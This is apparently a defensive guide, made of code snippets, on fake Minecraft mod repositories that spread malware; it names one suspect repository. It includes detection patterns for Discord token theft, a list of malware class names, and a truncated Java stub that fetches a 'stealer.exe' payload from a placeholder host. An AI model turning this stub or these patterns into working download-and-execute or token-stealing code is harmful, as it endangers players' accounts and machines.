# Example: Basic malware pattern detection
import re
import json

def analyze_minecraft_mod_repository(readme_content, metadata):
    """
    Analyze a repository for common malware distribution patterns
    """
    risk_score = 0
    findings = []
    
    # Check for suspicious keywords
    malware_keywords = [
        r'free\s+account',
        r'hack',
        r'crack',
        r'keygen',
        r'instant\s+download',
        r'killaura',
        r'vape.*crack',
        r'wurst.*free'
    ]
    
    for pattern in malware_keywords:
        if re.search(pattern, readme_content, re.IGNORECASE):
            risk_score += 10
            findings.append(f"Suspicious keyword: {pattern}")
    
    # Check for external download links (not GitHub releases)
    external_links = re.findall(
        r'https?://(?!github\.com|raw\.githubusercontent\.com)[\w\-\.]+\.\w+', 
        readme_content
    )
    if external_links:
        risk_score += 25
        findings.append(f"External download links: {external_links}")
    
    # Check star-to-age ratio (unrealistic growth)
    stars = metadata.get('stars', 0)
    age_days = calculate_repo_age_days(metadata)
    if age_days > 0 and (stars / age_days) > 50:
        risk_score += 30
        findings.append(f"Unrealistic star growth: {stars} stars in {age_days} days")
    
    # Check for missing source code files
    if metadata.get('language') == 'Unknown':
        risk_score += 20
        findings.append("No source code detected")
    
    return {
        'risk_score': min(risk_score, 100),
        'risk_level': get_risk_level(risk_score),
        'findings': findings
    }

def calculate_repo_age_days(metadata):
    from datetime import datetime
    created = datetime.fromisoformat(metadata['created_at'].replace('Z', '+00:00'))
    updated = datetime.fromisoformat(metadata['updated_at'].replace('Z', '+00:00'))
    return (updated - created).days

def get_risk_level(score):
    if score >= 75:
        return "CRITICAL"
    elif score >= 50:
        return "HIGH"
    elif score >= 25:
        return "MEDIUM"
    return "LOW"

// Example: Check if download link is legitimate
async function validateMinecraftModSource(downloadUrl) {
  const legitimateSources = [
    'github.com',
    'modrinth.com',
    'curseforge.com',
    'spigotmc.org',
    'papermc.io'
  ];
  
  const url = new URL(downloadUrl);
  const isLegitimate = legitimateSources.some(
    domain => url.hostname.endsWith(domain)
  );
  
  if (!isLegitimate) {
    return {
      safe: false,
      reason: `Untrusted source: ${url.hostname}`,
      recommendation: 'Do not download from this source'
    };
  }
  
  // Check for direct file downloads vs. HTML pages
  if (!downloadUrl.match(/\.(jar|zip)$/)) {
    return {
      safe: false,
      reason: 'Link does not point to a mod file',
      recommendation: 'Likely a phishing or malware distribution page'
    };
  }
  
  return {
    safe: true,
    reason: 'Legitimate source and file type'
  };
}

# Safe sources for Minecraft mods:

# 1. CurseForge (official)
# https://www.curseforge.com/minecraft

# 2. Modrinth (open-source friendly)
# https://modrinth.com/

# 3. GitHub releases from verified projects
# Example: Fabric Mod Loader
git clone https://github.com/FabricMC/fabric.git
cd fabric
./gradlew build

# 4. Official mod loader sites
# Forge: https://files.minecraftforge.net/
# Fabric: https://fabricmc.net/

# Extract and inspect JAR contents
mkdir mod_inspect
unzip -q suspicious_mod.jar -d mod_inspect/

# Check for obfuscated code (common in malware)
find mod_inspect/ -name "*.class" | head -5

# Look for suspicious network connections
strings suspicious_mod.jar | grep -E "http://|https://" | sort -u

# Check manifest
unzip -p suspicious_mod.jar META-INF/MANIFEST.MF

# Scan with antivirus
clamscan suspicious_mod.jar

# checklist.py - Automated mod security review
import zipfile
import os

def review_minecraft_mod(jar_path):
    """
    Perform basic security review of a Minecraft mod JAR
    """
    checks = {
        'has_source': False,
        'has_manifest': False,
        'suspicious_classes': [],
        'network_calls': [],
        'obfuscated_code': False
    }
    
    with zipfile.ZipFile(jar_path, 'r') as jar:
        file_list = jar.namelist()
        
        # Check for source files (good sign)
        checks['has_source'] = any(f.endswith('.java') for f in file_list)
        
        # Check for manifest
        checks['has_manifest'] = 'META-INF/MANIFEST.MF' in file_list
        
        # Look for suspicious class names
        suspicious_patterns = [
            'RAT', 'Trojan', 'Keylog', 'Stealer', 
            'Download', 'Inject', 'Hook'
        ]
        for file in file_list:
            if file.endswith('.class'):
                for pattern in suspicious_patterns:
                    if pattern.lower() in file.lower():
                        checks['suspicious_classes'].append(file)
        
        # Check for obfuscation (single-letter package names)
        class_files = [f for f in file_list if f.endswith('.class')]
        short_names = [f for f in class_files if len(os.path.basename(f)) <= 3]
        if len(short_names) / max(len(class_files), 1) > 0.5:
            checks['obfuscated_code'] = True
    
    return checks

# Usage
result = review_minecraft_mod('suspicious_mod.jar')
print(f"Security Review Results:")
print(f"  Has Source: {result['has_source']}")
print(f"  Obfuscated: {result['obfuscated_code']}")
print(f"  Suspicious Classes: {len(result['suspicious_classes'])}")

CHARACTERISTICS:
- Claims to be "cracked" or "free" version of paid mods
- Download links to external sites (not GitHub releases)
- No visible source code
- Unrealistic feature claims
- Artificial star/fork inflation

EXAMPLE: This repository (Aegis-V4-Client-2026)

// MALICIOUS PATTERN - Do not use
// Example of what malware looks like in decompiled mods

public class a { // Obfuscated class name
    public static void b() { // Obfuscated method
        try {
            String c = "http://malicious-site.com/stealer.exe";
            // Download and execute payload
            java.net.URLConnection d = new java.net.URL(c).openConnection();
            // ... infection code
        } catch (Exception e) {}
    }
}

# DETECTION: Look for Discord token theft patterns
suspicious_patterns = [
    r'discord.*token',
    r'\.config.*discord',
    r'roaming.*discord.*Local Storage',
    r'leveldb.*ldb',
    r'webhook.*discord\.com'
]

def scan_for_token_stealer(decompiled_code):
    """
    Check decompiled mod code for token stealing patterns
    """
    findings = []
    for pattern in suspicious_patterns:
        matches = re.finditer(pattern, decompiled_code, re.IGNORECASE)
        for match in matches:
            findings.append({
                'pattern': pattern,
                'location': match.span(),
                'context': decompiled_code[max(0, match.start()-50):match.end()+50]
            })
    return findings

# 1. Report the repository
# Visit: https://github.com/ochoaochoa330-design/Aegis-V4-Client-2026
# Click: "..." → "Report repository" → "Malware or phishing"

# 2. Warn community
# Post warnings on Minecraft forums, Discord servers

# 3. Use legitimate alternatives
# For client modifications, use:
#   - Fabric: https://fabricmc.net/
#   - Forge: https://minecraftforge.net/
#   - OptiFine: https://optifine.net/

# DO NOT download from this repository

# If you already downloaded:
# 1. Do NOT run the file
# 2. Delete immediately
rm -rf ~/Downloads/AuroraClient* ~/Downloads/Aegis*

# 3. Run antivirus scan
clamscan -r ~/Downloads/

# 4. Check for infection
# Linux/Mac:
ps aux | grep -E "java|minecraft" | grep -v grep
lsof -i -P | grep -i "listen"

# Windows (PowerShell):
# Get-Process | Where-Object {$_.Name -like "*java*"}
# netstat -ano | findstr LISTENING

# 5. Change passwords if mod was executed
# - Minecraft account
# - Discord
# - Email
# - Any other accounts

# For security scanning tools
export MINECRAFT_MODS_PATH="$HOME/.minecraft/mods"
export SCAN_QUARANTINE_PATH="/tmp/minecraft_quarantine"
export VIRUSTOTAL_API_KEY="your_virustotal_api_key"

# Use official Fabric template
git clone https://github.com/FabricMC/fabric-example-mod.git
cd fabric-example-mod

# Configure gradle.properties
cat > gradle.properties << EOF
minecraft_version=1.20.4
yarn_mappings=1.20.4+build.3
loader_version=0.15.3
fabric_version=0.91.1+1.20.4
EOF

# Build legitimate mod
./gradlew build

# Mod will be in build/libs/
ls -lh build/libs/*.jar